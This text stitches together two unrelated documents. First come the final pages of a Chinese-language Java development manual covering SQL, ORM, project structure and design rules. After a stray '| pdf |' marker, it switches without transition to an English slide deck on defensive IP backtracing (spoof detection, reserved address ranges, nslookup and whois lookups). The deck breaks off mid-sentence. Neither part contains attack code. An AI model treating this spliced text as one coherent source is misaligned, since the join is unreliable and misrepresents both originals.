标准统计行数的语法,跟数据库无关,跟 NULL 和非 NULL 无关。
说明:count(*)会统计值为 NULL 的行,而 count(列名)不会统计此列为 NULL 值的行。
2. 【强制】count(distinct col) 计算该列除 NULL 之外的不重复行数,注意 count(distinct
col1, col2) 如果其中一列全为 NULL,那么即使另一列有不同的值,也返回为 0。
3. 【强制】当某一列的值全是 NULL 时,count(col)的返回结果为 0,但 sum(col)的返回结果
为 NULL,因此使用 sum()时需注意 NPE 问题。
正例:使用如下方式来避免 sum 的 NPE 问题:SELECT IFNULL(SUM(column), 0) FROM table;
4. 【强制】使用 ISNULL()来判断是否为 NULL 值。
说明:NULL 与任何值的直接比较都为 NULL。
1) NULL<>NULL 的返回结果是 NULL,而不是 false。
2) NULL=NULL 的返回结果是 NULL,而不是 true。
3) NULL<>1 的返回结果是 NULL,而不是 true。
5. 【强制】代码中写分页查询逻辑时,若 count 为 0 应直接返回,避免执行后面的分页语句。
6. 【强制】不得使用外键与级联,一切外键概念必须在应用层解决。
说明:以学生和成绩的关系为例,学生表中的 student_id 是主键,那么成绩表中的 student_id 则为外
键。如果更新学生表中的 student_id,同时触发成绩表中的 student_id 更新,即为级联更新。外键与级
联更新适用于单机低并发,不适合分布式、高并发集群;级联更新是强阻塞,存在数据库更新风暴的风
险;外键影响数据库的插入速度。
7. 【强制】禁止使用存储过程,存储过程难以调试和扩展,更没有移植性。
8. 【强制】数据订正(特别是删除、修改记录操作)时,要先 select,避免出现误删除,确认无
误才能执行更新语句。
9. 【推荐】in 操作能避免则避免,若实在避免不了,需要仔细评估 in 后边的集合元素数量,控
制在 1000 个之内。
10. 【参考】如果有国际化需要,所有的字符存储与表示,均以 utf-8 编码,注意字符统计函数
的区别。
Java 开发手册
35/44
说明:
SELECT LENGTH("轻松工作"); 返回为 12
SELECT CHARACTER_LENGTH("轻松工作"); 返回为 4
如果需要存储表情,那么选择 utf8mb4 来进行存储,注意它与 utf-8 编码的区别。
11. 【参考】TRUNCATE TABLE 比 DELETE 速度快,且使用的系统和事务日志资源少,但
TRUNCATE 无事务且不触发 trigger,有可能造成事故,故不建议在开发代码中使用此语句。
说明:TRUNCATE TABLE 在功能上与不带 WHERE 子句的 DELETE 语句相同。
(四) ORM 映射
1. 【强制】在表查询中,一律不要使用 * 作为查询的字段列表,需要哪些字段必须明确写明。
说明:1)增加查询分析器解析成本。2)增减字段容易与 resultMap 配置不一致。3)无用字段增加网络
消耗,尤其是 text 类型的字段。
2. 【强制】POJO 类的布尔属性不能加 is,而数据库字段必须加 is_,要求在 resultMap 中进行
字段与属性之间的映射。
说明:参见定义 POJO 类以及数据库字段定义规定,在<resultMap>中增加映射,是必须的。在
MyBatis Generator 生成的代码中,需要进行对应的修改。
3. 【强制】不要用 resultClass 当返回参数,即使所有类属性名与数据库字段一一对应,也需要
定义;反过来,每一个表也必然有一个 POJO 类与之对应。
说明:配置映射关系,使字段与 DO 类解耦,方便维护。
4. 【强制】sql.xml 配置参数使用:#{},#param# 不要使用${} 此种方式容易出现 SQL 注入。
5. 【强制】iBATIS 自带的 queryForList(String statementName,int start,int size)不推荐使用。
说明:其实现方式是在数据库取到 statementName 对应的 SQL 语句的所有记录,再通过 subList 取
start,size 的子集合。
正例:Map<String, Object> map = new HashMap<>();
map.put("start", start);
map.put("size", size);
6. 【强制】不允许直接拿 HashMap 与 Hashtable 作为查询结果集的输出。
说明:resultClass=”Hashtable”,会置入字段名和属性值,但是值的类型不可控。
7. 【强制】更新数据表记录时,必须同时更新记录对应的 gmt_modified 字段值为当前时间。
8. 【推荐】不要写一个大而全的数据更新接口。传入为 POJO 类,不管是不是自己的目标更新
字段,都进行 update table set c1=value1,c2=value2,c3=value3; 这是不对的。执行 SQL
时,不要更新无改动的字段,一是易出错;二是效率低;三是增加 binlog 存储。
Java 开发手册
36/44
9. 【参考】@Transactional 事务不要滥用。事务会影响数据库的 QPS,另外使用事务的地方
需要考虑各方面的回滚方案,包括缓存回滚、搜索引擎回滚、消息补偿、统计修正等。
10. 【参考】<isEqual>中的 compareValue 是与属性值对比的常量,一般是数字,表示相等时
带上此条件;<isNotEmpty>表示不为空且不为 null 时执行;<isNotNull>表示不为 null 值
时执行。
Java 开发手册
37/44
六、工程结构
(一) 应用分层
1. 【推荐】图中默认上层依赖于下层,箭头关系表示可直接依赖,如:开放接口层可以依赖于
Web 层,也可以直接依赖于 Service 层,依此类推:
•
开放接口层:可直接封装 Service 方法暴露成 RPC 接口;通过 Web 封装成 http 接口;进行网关安
全控制、流量控制等。
•
终端显示层:各个端的模板渲染并执行显示的层。当前主要是 velocity 渲染,JS 渲染,JSP 渲染,移
动端展示等。
•
Web 层:主要是对访问控制进行转发,各类基本参数校验,或者不复用的业务简单处理等。
•
Service 层:相对具体的业务逻辑服务层。
•
Manager 层:通用业务处理层,它有如下特征:
1) 对第三方平台封装的层,预处理返回结果及转化异常信息。
2) 对 Service 层通用能力的下沉,如缓存方案、中间件通用处理。
3) 与 DAO 层交互,对多个 DAO 的组合复用。
•
DAO 层:数据访问层,与底层 MySQL、Oracle、Hbase 等进行数据交互。
•
外部接口或第三方平台:包括其它部门 RPC 开放接口,基础平台,其它公司的 HTTP 接口。
2. 【参考】(分层异常处理规约)在 DAO 层,产生的异常类型有很多,无法用细粒度的异常进
行 catch,使用 catch(Exception e)方式,并 throw new DAOException(e),不需要打印日志,因
为日志在 Manager/Service 层一定需要捕获并打印到日志文件中去,如果同台服务器再打日
志,浪费性能和存储。在 Service 层出现异常时,必须记录出错日志到磁盘,尽可能带上参数
信息,相当于保护案发现场。如果 Manager 层与 Service 同机部署,日志方式与 DAO 层处理
一致,如果是单独部署,则采用与 Service 一致的处理方式。Web 层绝不应该继续往上抛异
常,因为已经处于顶层,如果意识到这个异常将导致页面无法正常渲染,那么就应该直接跳
Java 开发手册
38/44
转到友好错误页面,加上用户容易理解的错误提示信息。开放接口层要将异常处理成错误码
和错误信息方式返回。
3. 【参考】分层领域模型规约:
•
DO(Data Object):此对象与数据库表结构一一对应,通过 DAO 层向上传输数据源对象。
•
DTO(Data Transfer Object):数据传输对象,Service 或 Manager 向外传输的对象。
•
BO(Business Object):业务对象,由 Service 层输出的封装业务逻辑的对象。
•
AO(Application Object):应用对象,在 Web 层与 Service 层之间抽象的复用对象模型,极为贴
近展示层,复用度不高。
•
VO(View Object):显示层对象,通常是 Web 向模板渲染引擎层传输的对象。
•
Query:数据查询对象,各层接收上层的查询请求。注意超过 2 个参数的查询封装,禁止使用 Map 类
来传输。
(二) 二方库依赖
1. 【强制】定义 GAV 遵从以下规则:
1) GroupID 格式:com.{公司/BU }.业务线 [.子业务线],最多 4 级。
说明:{公司/BU} 例如:alibaba/taobao/tmall/aliexpress 等 BU 一级;子业务线可选。
正例:com.taobao.jstorm 或 com.alibaba.dubbo.register
2) ArtifactID 格式:产品线名-模块名。语义不重复不遗漏,先到中央仓库去查证一下。
正例:dubbo-client / fastjson-api / jstorm-tool
3) Version:详细规定参考下方。
2. 【强制】二方库版本号命名方式:主版本号.次版本号.修订号
1)主版本号:产品方向改变,或者大规模 API 不兼容,或者架构不兼容升级。
2) 次版本号:保持相对兼容性,增加主要功能特性,影响范围极小的 API 不兼容修改。
3) 修订号:保持完全兼容性,修复 BUG、新增次要功能特性等。
说明:注意起始版本号必须为:1.0.0,而不是 0.0.1,正式发布的类库必须先去中央仓库进行查证,使版
本号有延续性,正式版本号不允许覆盖升级。如当前版本:1.3.3,那么下一个合理的版本号:1.3.4 或
1.4.0 或 2.0.0
3. 【强制】线上应用不要依赖 SNAPSHOT 版本(安全包除外)。
说明:不依赖 SNAPSHOT 版本是保证应用发布的幂等性。另外,也可以加快编译时的打包构建。
4. 【强制】二方库的新增或升级,保持除功能点之外的其它 jar 包仲裁结果不变。如果有改变,
必须明确评估和验证。
Java 开发手册
39/44
说明:在升级时,进行 dependency:resolve 前后信息比对,如果仲裁结果完全不一致,那么通过
dependency:tree 命令,找出差异点,进行<exclude>排除 jar 包。
5. 【强制】二方库里可以定义枚举类型,参数可以使用枚举类型,但是接口返回值不允许使用
枚举类型或者包含枚举类型的 POJO 对象。
6. 【强制】依赖于一个二方库群时,必须定义一个统一的版本变量,避免版本号不一致。
说明:依赖 springframework-core,-context,-beans,它们都是同一个版本,可以定义一个变量来保存
版本:${spring.version},定义依赖的时候,引用该版本。
7. 【强制】禁止在子项目的 pom 依赖中出现相同的 GroupId,相同的 ArtifactId,但是不同的
Version。
说明:在本地调试时会使用各子项目指定的版本号,但是合并成一个 war,只能有一个版本号出现在最后
的 lib 目录中。可能出现线下调试是正确的,发布到线上却出故障的问题。
8. 【推荐】底层基础技术框架、核心数据管理平台、或近硬件端系统谨慎引入第三方实现。
9. 【推荐】所有 pom 文件中的依赖声明放在<dependencies>语句块中,所有版本仲裁放在
<dependencyManagement>语句块中。
说明:<dependencyManagement>里只是声明版本,并不实现引入,因此子项目需要显式的声明依
赖,version 和 scope 都读取自父 pom。而<dependencies>所有声明在主 pom 的<dependencies>里
的依赖都会自动引入,并默认被所有的子项目继承。
10. 【推荐】二方库不要有配置项,最低限度不要再增加配置项。
11. 【参考】为避免应用二方库的依赖冲突问题,二方库发布者应当遵循以下原则:
1)精简可控原则。移除一切不必要的 API 和依赖,只包含 Service API、必要的领域模型对象、Utils
类、常量、枚举等。如果依赖其它二方库,尽量是 provided 引入,让二方库使用者去依赖具体版本号;
无 log 具体实现,只依赖日志框架。
2)稳定可追溯原则。每个版本的变化应该被记录,二方库由谁维护,源码在哪里,都需要能方便查到。
除非用户主动升级版本,否则公共二方库的行为不应该发生变化。
(三) 服务器
1. 【推荐】高并发服务器建议调小 TCP 协议的 time_wait 超时时间。
说明:操作系统默认 240 秒后,才会关闭处于 time_wait 状态的连接,在高并发访问下,服务器端会因为
处于 time_wait 的连接数太多,可能无法建立新的连接,所以需要在服务器上调小此等待值。
正例:在 linux 服务器上请通过变更/etc/sysctl.conf 文件去修改该缺省值(秒):
net.ipv4.tcp_fin_timeout = 30
Java 开发手册
40/44
2. 【推荐】调大服务器所支持的最大文件句柄数(File Descriptor,简写为 fd)。
说明:主流操作系统的设计是将 TCP/UDP 连接采用与文件一样的方式去管理,即一个连接对应于一个
fd。主流的 linux 服务器默认所支持最大 fd 数量为 1024,当并发连接数很大时很容易因为 fd 不足而出现
“open too many files”错误,导致新的连接无法建立。建议将 linux 服务器所支持的最大句柄数调高数
倍(与服务器的内存数量相关)。
3. 【推荐】给 JVM 环境参数设置-XX:+HeapDumpOnOutOfMemoryError 参数,让 JVM 碰到
OOM 场景时输出 dump 信息。
说明:OOM 的发生是有概率的,甚至相隔数月才出现一例,出错时的堆内信息对解决问题非常有帮助。
4. 【推荐】在线上生产环境,JVM 的 Xms 和 Xmx 设置一样大小的内存容量,避免在 GC 后调整
堆大小带来的压力。
5. 【参考】服务器内部重定向使用 forward;外部重定向地址使用 URL 拼装工具类来生成,否则
会带来 URL 维护不一致的问题和潜在的安全风险。
Java 开发手册
41/44
七、设计规约
1. 【强制】存储方案和底层数据结构的设计获得评审一致通过,并沉淀成为文档。
说明:有缺陷的底层数据结构容易导致系统风险上升,可扩展性下降,重构成本也会因历史数据迁移和系
统平滑过渡而陡然增加,所以,存储方案和数据结构需要认真地进行设计和评审,生产环境提交执行后,
需要进行 double check。
正例:评审内容包括存储介质选型、表结构设计能否满足技术方案、存取性能和存储空间能否满足业务发
展、表或字段之间的辩证关系、字段名称、字段类型、索引等;数据结构变更(如在原有表中新增字段)
也需要进行评审通过后上线。
2. 【强制】在需求分析阶段,如果与系统交互的 User 超过一类并且相关的 User Case 超过 5
个,使用用例图来表达更加清晰的结构化需求。
3. 【强制】如果某个业务对象的状态超过 3 个,使用状态图来表达并且明确状态变化的各个触
发条件。
说明:状态图的核心是对象状态,首先明确对象有多少种状态,然后明确两两状态之间是否存在直接转换
关系,再明确触发状态转换的条件是什么。
正例:淘宝订单状态有已下单、待付款、已付款、待发货、已发货、已收货等。比如已下单与已收货这两
种状态之间是不可能有直接转换关系的。
4. 【强制】如果系统中某个功能的调用链路上的涉及对象超过 3 个,使用时序图来表达并且明
确各调用环节的输入与输出。
说明:时序图反映了一系列对象间的交互与协作关系,清晰立体地反映系统的调用纵深链路。
5. 【强制】如果系统中模型类超过 5 个,并且存在复杂的依赖关系,使用类图来表达并且明确
类之间的关系。
说明:类图像建筑领域的施工图,如果搭平房,可能不需要,但如果建造蚂蚁 Z 空间大楼,肯定需要详细
的施工图。
6. 【强制】如果系统中超过 2 个对象之间存在协作关系,并且需要表示复杂的处理流程,使用
活动图来表示。
说明:活动图是流程图的扩展,增加了能够体现协作关系的对象泳道,支持表示并发等。
7. 【推荐】需求分析与系统设计在考虑主干功能的同时,需要充分评估异常流程与业务边界。
反例:用户在淘宝付款过程中,银行扣款成功,发送给用户扣款成功短信,但是支付宝入款时由于断网演
练产生异常,淘宝订单页面依然显示未付款,导致用户投诉。
8. 【推荐】类在设计与实现时要符合单一原则。
说明:单一原则最易理解却是最难实现的一条规则,随着系统演进,很多时候,忘记了类设计的初衷。
Java 开发手册
42/44
9. 【推荐】谨慎使用继承的方式来进行扩展,优先使用聚合/组合的方式来实现。
说明:不得已使用继承的话,必须符合里氏代换原则,此原则说父类能够出现的地方子类一定能够出现,
比如,“把钱交出来”,钱的子类美元、欧元、人民币等都可以出现。
10. 【推荐】系统设计时,根据依赖倒置原则,尽量依赖抽象类与接口,有利于扩展与维护。
说明:低层次模块依赖于高层次模块的抽象,方便系统间的解耦。
11. 【推荐】系统设计时,注意对扩展开放,对修改闭合。
说明:极端情况下,交付线上生产环境的代码都是不可修改的,同一业务域内的需求变化,通过模块或类
的扩展来实现。
12. 【推荐】系统设计阶段,共性业务或公共行为抽取出来公共模块、公共配置、公共类、公共
方法等,避免出现重复代码或重复配置的情况。
说明:随着代码的重复次数不断增加,维护成本指数级上升。
13. 【推荐】避免如下误解:敏捷开发 = 讲故事 + 编码 + 发布。
说明:敏捷开发是快速交付迭代可用的系统,省略多余的设计方案,摒弃传统的审批流程,但核心关键点
上的必要设计和文档沉淀是需要的。
反例:某团队为了业务快速发展,敏捷成了产品经理催进度的借口,系统中均是勉强能运行但像面条一样
的代码,可维护性和可扩展性极差,一年之后,不得不进行大规模重构,得不偿失。
14. 【参考】系统设计主要目的是明确需求、理顺逻辑、后期维护,次要目的用于指导编码。
说明:避免为了设计而设计,系统设计文档有助于后期的系统维护和重构,所以设计结果需要进行分类归
档保存。
15. 【参考】设计的本质就是识别和表达系统难点,找到系统的变化点,并隔离变化点。
说明:世间众多设计模式目的是相同的,即隔离系统变化点。
16. 【参考】系统架构设计的目的:
⚫ 确定系统边界。确定系统在技术层面上的做与不做。
⚫ 确定系统内模块之间的关系。确定模块之间的依赖关系及模块的宏观输入与输出。
⚫ 确定指导后续设计与演化的原则。使后续的子系统或模块设计在规定的框架内继续演化。
⚫ 确定非功能性需求。非功能性需求是指安全性、可用性、可扩展性等。
17. 【参考】在做无障碍产品设计时,需要考虑到:
⚫ 所有可交互的控件元素必须能被 tab 键聚焦,并且焦点顺序需符合自然操作逻辑。
⚫ 用于登陆校验和请求拦截的验证码均需提供图形验证以外的其它方式。
⚫ 自定义的控件类型需明确交互方式。
Java 开发手册
43/44
附 1:版本历史
版本号
版本名
更新日期
备注
--
--
2016.12.07
试读版本首次对外发布
1.0.0
正式版
2017.02.09
阿里巴巴集团正式对外发布
1.0.1
--
2017.02.13
1)修正 String[]的前后矛盾。
2)vm 修正成 velocity。
3)修正 countdown 描述错误。
1.0.2
--
2017.02.20
1)去除文底水印。2)数据类型中引用太阳系年龄问题。3)修正关于异常和方法签
名的部分描述。4)修正 final 描述。5)去除 Comparator 部分描述。
1.1.0
--
2017.02.27
1)增加前言。2)增加<? extends T>描述和说明。3)增加版本历史。4)增加专有
名词解释。
1.1.1
--
2017.03.31
修正页码总数和部分示例。
1.2.0
完美版
2017.05.20
1)根据云栖社区的“聚能聊”活动反馈,对手册的页码、排版、描述进行修正。2)
增加 final 的适用场景描述。3)增加关于锁的粒度的说明。4)增加“指定集合大
小”的详细说明以及正反例。5)增加卫语句的示例代码。6)明确数据库表示删除概
念的字段名为 is_deleted
1.3.0
终极版
2017.09.25
增加单元测试规约,阿里开源的 IDE 代码规约检测插件:点此下载
1.3.1
纪念版
2017.11.30
修正部分描述;采用和 P3C 开源 IDE 检测插件相同的 Apache2.0 协议。
1.4.0
详尽版
2018.05.20
增加设计规约大类,共 16 条。
1.5.0
华山版
2019.06.19
1)鉴于本手册是社区开发者集体智慧的结晶,本版本移除阿里巴巴 Java 开发手册的
限定词“阿里巴巴”。
2)新增 21 条新规约。比如,switch 的 NPE 问题、浮点数的比较、无泛型限制、锁
的使用方式、判断表达式、日期格式等。
3)修改描述 112 处。比如,IFNULL 的判断、集合的 toArray、日志处理等。
4)完善若干处示例。比如,命名示例、卫语句示例、enum 示例、finally 的 return
示例等。
Java 开发手册
44/44
附 2:专有名词解释
1. POJO(Plain Ordinary Java Object): 在本手册中,POJO 专指只有 setter / getter /
toString 的简单类,包括 DO/DTO/BO/VO 等。
2. GAV(GroupId、ArtifactctId、Version): Maven 坐标,是用来唯一标识 jar 包。
3. OOP(Object Oriented Programming): 本手册泛指类、对象的编程处理方式。
4. ORM(Object Relation Mapping): 对象关系映射,对象领域模型与底层数据之间的转换,
本文泛指 iBATIS, mybatis 等框架。
5. NPE(java.lang.NullPointerException): 空指针异常。
6. SOA(Service-Oriented Architecture): 面向服务架构,它可以根据需求通过网络对松散耦合
的粗粒度应用组件进行分布式部署、组合和使用,有利于提升组件可重用性,可维护性。
7. IDE(Integrated Development Environment): 用于提供程序开发环境的应用程序,一般包括
代码编辑器、编译器、调试器和图形用户界面等工具,本《手册》泛指 IntelliJ IDEA 和
eclipse。
8. OOM(Out Of Memory): 源于 java.lang.OutOfMemoryError,当 JVM 没有足够的内存来
为对象分配空间并且垃圾回收器也无法回收空间时,系统出现的严重状况。
9. 一方库:本工程内部子项目模块依赖的库(jar 包)。
10. 二方库:公司内部发布到中央仓库,可供公司内部其它应用依赖的库(jar 包)。
11. 三方库:公司之外的开源库(jar 包)。
Java 开发手册
45/44 | pdf |
By Lawrence Baldwin & Jaeson Schultz
“Extreme IP Backtracing”
I've been attacked… now what?
The reality is that few attacks are launched directly from an
attacker's system since they know they would be easily
caught using standard backtracing methods.
The Internet is chock full
of insecure systems which
are easily (read already)
compromised, providing a
means for attackers to
perform untraceable,
indirect attacks.
• Reduce the total number of
compromised hosts
• Minimize the amount of time that
any system remains in a
compromised state
The only profound way to improve
overall Internet security is to:
In order to protect ourselves, we need
to ensure that others are protected.
Every time your firewall or intrusion detection system logs
an event, don't assume the source is the actual attacker.
Think of it as a cry for help from a likely victim whose
system has been compromised and is just being controlled by
an attacker.
When we discover that someone
is obviously exposed, we should
let them know and guide them
to the information they need to
get protected.
CNN.com article “Avoiding future denial-of-service attacks”
about the Feb 2000 DDOS attacks on Yahoo, eBay,
Amazon.com and E*Trade
“Authorities pursuing the attackers say
the servers they used belonged to users
that had no idea their resources were
being used to launch attacks.”
Why notify victims?
Recently, myNetWatchman detected an incident in which a host was
infected with the Microsoft SQL Spida Worm. A backtrace of the
offending IP yielded some interesting results…
% This is the RIPE Whois server.
% The objects are in RPSL format.
% Please visit http://www.ripe.net/rpsl for more information.
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-
services/db/copyright.html
inetnum: 194.190.139.0 - 194.190.139.255
netname: GAN
descr: Central Region of GAN RF
country: RU
admin-c: AV753-RIPE
tech-c: AV753-RIPE
status: ASSIGNED PA
notify: [email protected]
notify: [email protected]
mnt-by: ROSNIIROS-MNT
changed: [email protected] 19991018
source: RIPE
GAN=The Nuclear Safety Authority of Russia
"Federal supervision of Russia on nuclear and radiating safety (Gosatomnadzor of
Russia) as the federal enforcement authority, organizes and carries out state
regulation of safety at use of an atomic energy, nuclear materials, radioactive
substances and products on their basis in the peace and defensive purposes (except
for regulation of the activity connected to development, manufacturing, test,
operation of the nuclear weapon and nuclear power installations of military
purpose(assignment)). "
The
Backtracing
Process
Source IP Validation
Confirm the Source of Traffic
• Local Network
• Extended Local Network
(e.g. cable modem neighbor)
• Internet
Source IP Validation
Exclude the „Martian Addresses‟
“A router SHOULD NOT forward any packet
that has an invalid IP source address”
RFC1812 - Requirements for IP Version 4 Routers – Section 5.3.7
Martian Address Filtering
Broadcast
0.0.0.0/8
Loopback
127.0.0.0/8
Multicast
224.0.0.0/4
Limited Broadcast 255.255.255.255/32
Source IP Validation
“The Internet Assigned Numbers Authority (IANA) has
reserved the following three blocks of the IP address
space for private internets:
10.0.0.0 - 10.255.255.255
(10/8 prefix)
172.16.0.0 - 172.31.255.255
(172.16/12 prefix)
192.168.0.0 - 192.168.255.255
(192.168/16 prefix)”
Source IP Validation
RFC1918 - Address Allocation for Private Internets
Exclude Private Addresses
# ENGLISH
IP Address : 172.21.3.168-172.21.3.199
Connect ISP Name : DREAMX
Connect Date : 20000622
Registration Date : 20000706
Network Name : DSB
[ Organization Information ]
Orgnization ID : ORG127773
Name : DSB
State : PUSAN
Address : Billra Dangrishinik 407 Dangri-Dong
Zip Code : 604-010
[ Admin Contact Information]
Name : YOUNGKIL SHIN
Org Name : DREAMX
State : SEOUL
Address : 12F World Tower 7-25 Shincheon-Dong Songpa-Gu
Zip Code : 138-240
Phone : +82-2-3434-1790
Fax : +82-2-3434-1799
E-Mail : [email protected]
[ Technical Contact Information ]
Name : SUKBONG KIM
Org Name : DREAMX
State : SEOUL
Address : 12F World Tower 7-25 Shincheon-Dong Songpa-Gu
Zip Code : 138-240
Phone : +82-2-3434-1768
Fax : +82-2-3434-1799
E-Mail : [email protected]
Solution to the Korean Spam problem?
RESERVED-9
1.0.0.0 - 1.255.255.255
RESERVED-2
2.0.0.0 - 2.255.255.255
PDN
14.0.0.0 - 14.255.255.255
RESERVED-23
23.0.0.0 - 23.255.255.255
RESERVED-31
31.0.0.0 - 31.255.255.255
RESERVED-37
37.0.0.0 - 37.255.255.255
RESERVED-39A
39.0.0.0 - 39.255.255.255
RESERVED-41A
41.0.0.0 - 41.255.255.255
RESERVED-58
58.0.0.0 - 58.255.255.255
RESERVED-59
59.0.0.0 - 59.255.255.255
RESERVED-60
60.0.0.0 - 60.255.255.255
RESERVED-7
69.0.0.0 - 79.255.255.255
RESERVED-11
82.0.0.0 - 95.255.255.255
RESERVED-8
96.0.0.0 - 126.255.255.255
Exclude IANA Addresses*
*Note: This information is subject to change.
Looking up „IANA‟ at ARIN.net will give you the current list.
Source IP Validation
RESERVED-3
128.0.0.0 - 128.0.255.255
BLACKHOLE.ISI.EDU
128.9.64.26
TEST-B
128.66.0.0 - 128.66.255.255
LINKLOCAL
169.254.0.0 - 169.254.255.255
RESERVED
191.255.0.0 - 191.255.255.255
RESERVED-192
192.0.0.0 - 192.0.127.255
ROOT-NS-LAB
192.0.0.0 - 192.0.0.255
NET-ROOTS-NS-LIVE 192.0.1.0 - 192.0.1.255
NET-TEST
192.0.2.0 - 192.0.2.255
RESERVED-2A
192.0.128.0 - 192.0.255.255
RESERVED-2-A
192.0.128.0 - 192.0.255.255
IANA-192
192.88.99.0 - 192.88.99.255
RESERVED-13
197.0.0.0 - 197.255.255.255
RESERVED-14
201.0.0.0 - 201.255.255.255
RESERVED
221.0.0.0 - 223.255.255.255
IANA Addresses contd…
Source IP Validation
Note possibly contrived bogus IPs
improbable octet sequences
• 1.2.3.4
• 5.6.7.8
nmap decoy addresses
• 24.24.24.24
• 23.23.23.23
Source IP Validation
"The weakness in this scheme [the Internet
Protocol] is that the source host itself fills in the
IP source host id, and there is no provision in ...
TCP to discover the true origin of the packet."
Robert T. Morris writing about IP in his 1985 paper “A Weakness
in the 4.2BSD Unix† TCP/IP Software”
Perform Spoof Detection
Source IP Validation
Traceroute Hop Count
Step 1: Calculate the *implied* hop count from the packet you
received. The *implied* hop count is:
Original packet TTL - Final TTL (where you received it)
(Note that you must guess what the original TTL value is.)
Step 2: Traceroute to the IP and get an *actual* hop count. If
substantially different from the implied count, then the IP may be
spoofed
Spoof Detection
Source IP Validation
Default TTL Values
+-------------------+----------+----------+
| OS Version | tcp_ttl | udp_ttl |
+-------------------+----------+----------+
AIX
60
30
FreeBSD 2.1R
64
64
HP/UX 9.0x
30
30
HP/UX10.01
64
64
Irix 5.3
60
60
Irix 6.x
60
60
Linux
64
64
MacOS/MacTCP 2.0.x
60
60
OS/2 TCP/IP 3.0
64
64
OSF/1 V3.2A
60
30
Solaris 2.x
255
255
SunOS 4.1.3/4.1.4
60
60
MS Windows 95
32
32
MS Windows NT 3.51 32
32
MS Windows NT 4.0 128
128
Spoof Detection
Source IP Validation
Traceroute Hop Count Difficulties
Type escape sequence to abort.
Tracing the route to forthelife.net (216.144.196.7)
1 63.237.160.113 8 msec 12 msec 8 msec
2 lax-core-01.inet.qwest.net (205.171.19.149) 8 msec 8 msec 8 msec
3 sjo-core-03.inet.qwest.net (205.171.5.155) 16 msec 16 msec 16 msec
4 sjo-core-01.inet.qwest.net (205.171.22.10) 16 msec 16 msec 16 msec
5 sfo-core-02.inet.qwest.net (205.171.5.131) 20 msec 48 msec 16 msec
6 chi-core-01.inet.qwest.net (205.171.5.42) 72 msec 64 msec 68 msec
7 chi-core-03.inet.qwest.net (205.171.20.174) 64 msec 64 msec 76 msec
8 chi-edge-17.inet.qwest.net (205.171.20.154) 64 msec 64 msec 68 msec
9 63.149.1.70 80 msec 84 msec 84 msec
10 10.60.1.9 80 msec * 80 msec
11 172.16.250.1 96 msec 84 msec 88 msec
12 * * *
13 * * *
Source IP Validation
Spoof Detection
Perform Route Validation
A Looking Glass site allows you to access the routing
table on a core router. Using this you can determine if
any routes exist to the IP address you are interested in.
http://lg.above.net/
http://nitrous.digex.net/cgi-bin/looking_glass.pl
http://www.merit.edu/~ipma/tools/lookingglass.html
Source IP Validation
Spoof Example
Source IP Validation
No match for "182.1.1.2".
%%%%%%%%%%%%%%%%%%% NO MATCH TIP %%%%%%%%%%%%%%%%%%%%%%%%%
% %
% ALL OF THE POINT OF CONTACT HANDLES IN THE ARIN %
% WHOIS END WITH "-ARIN", IF YOU ARE QUERYING A POINT %
% OF CONTACT HANDLE PLEASE ADD -ARIN TO YOUR QUERY. %
% %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
The ARIN Registration Services Host contains ONLY Internet
Network Information: Networks, ASN's, and related POC's.
Please use the whois server at rs.internic.net for DOMAIN related
Information and whois.nic.mil for NIPRNET Information.
Source IP Validation
Spoof Example contd…
Tame Backtrace
Nslookup
Performing a reverse DNS lookup with nslookup can sometimes
yield the domain name of the IP address in question. Armed with
that domain name, we can query for the domain‟s Start of
Authority (SOA) contact information.
Tame Backtrace
Nslookup Example
D:\>nslookup
> set type=ptr
> 26.22.209.24.in-addr.arpa
Server: huey.cbeyond.net
Address: 64.213.152.18
Non-authoritative answer:
26.22.209.24.in-addr.arpa
name = dhcp024-209-022-026.cinci.rr.com
> set type=soa
> 26.22.209.24.in-addr.arpa
Server: huey.cbeyond.net
Address: 64.213.152.18
*** No start of authority (SOA) records available for
26.22.209.24.in-addr.arpa
Tame Backtrace
Nslookup Example contd…
> 22.209.24.in-addr.arpa
Server: huey.cbeyond.net
Address: 64.213.152.18
Non-authoritative answer:
22.209.24.in-addr.arpa
primary name server = ns1.columbus.rr.com
responsible mail addr = noc.columbus.rr.com
serial = 2000120401
refresh = 3600 (1 hour)
retry = 900 (15 mins)
expire = 604800 (7 days)
default TTL = 3880 (1 hour 4 mins 40 secs)
Tame Backtrace
whois (IP)
If a reverse DNS query on the IP address fails to turn up any results,
the next place to look is in the ARIN whois registry. This can be
accessed via HTTP, a whois client, or raw, via port 43.
• If the domain portion of the whois email
contact seems to be associated with the
organization owning the netblock, then
take that as the responsible domain
• Do NOT use the contact mailbox for security
issues unless it is a very small netblock
(class C or less)
Tame Backtrace
ARIN Whois Query Syntax
To find only a certain TYPE of record, use keyword:
HOst
ASn
PErson
ORganization
NEtwork
GRoup
To search only a specific FIELD, use keyword or character:
HAndle or "!"
Mailbox or contains "@"
NAme or leading "."
Here are some additional Whois keywords:
EXPand or "*“
Shows all parts of display without asking
Full or "=“
Shows detailed display for EACH match
Help
Enters the help program for full documentation
PArtial or trailing ".“
Matches targets STARTING with the given string
Q, QUIT, or Return
Exits Whois
SUBdisplay or "%“
Shows users of host, hosts on net, etc.
SUMmary or "$“
Always shows summary, even if just one match
Nice contact info here…
Internet America (NETBLK-IADFW-BLK3)
350 N St. Paul Suite 200
Dallas TX 75201
US
Netname: IADFW-BLK3
Netblock: 207.136.0.0 - 207.136.63.255
Maintainer: IAM
Coordinator:
Wommack, Mike (MW781-ARIN) [email protected]
123-456-7890 (FAX) 123-456-7890
Domain System inverse mapping provided by:
NS1.IADFW.NET206.66.12.36
NS2.IADFW.NET204.178.72.30
Record last updated on 27-Dec-1996.
Database last updated on 19-Jun-2001 23:00:59 EDT.
Tame Backtrace
Intermediate Backtrace
Recursive whois (IP)
Records that are not administered by ARIN are likely to be found
at one of the other regional registries, RIPE and APNIC.
Sometimes a query to ARIN will refer you to APNIC who, in turn,
will direct you to JPNIC, KRNIC, or or one of the national
registries.
Intermediate Backtrace
whois (domain)
Cross-check the domain info returned from a IP based whois
query with the domain whois records. Geektools runs a nice
proxy that can be used for both IP and domain name queries.
Intermediate Backtrace
The State of .us
“Under current administrative practices, the usTLD not
only has no central database that can in turn create a
central Whois, there is also no mechanism in place for
delegees to provision database information to the
central registry. Even if delegees wished to provide new
Whois information to the usTLD administrator, that
capability is currently nonexistent.”
“NeuStar Response to SB1335- 01-Q- 0740” Part of NeuStar’s
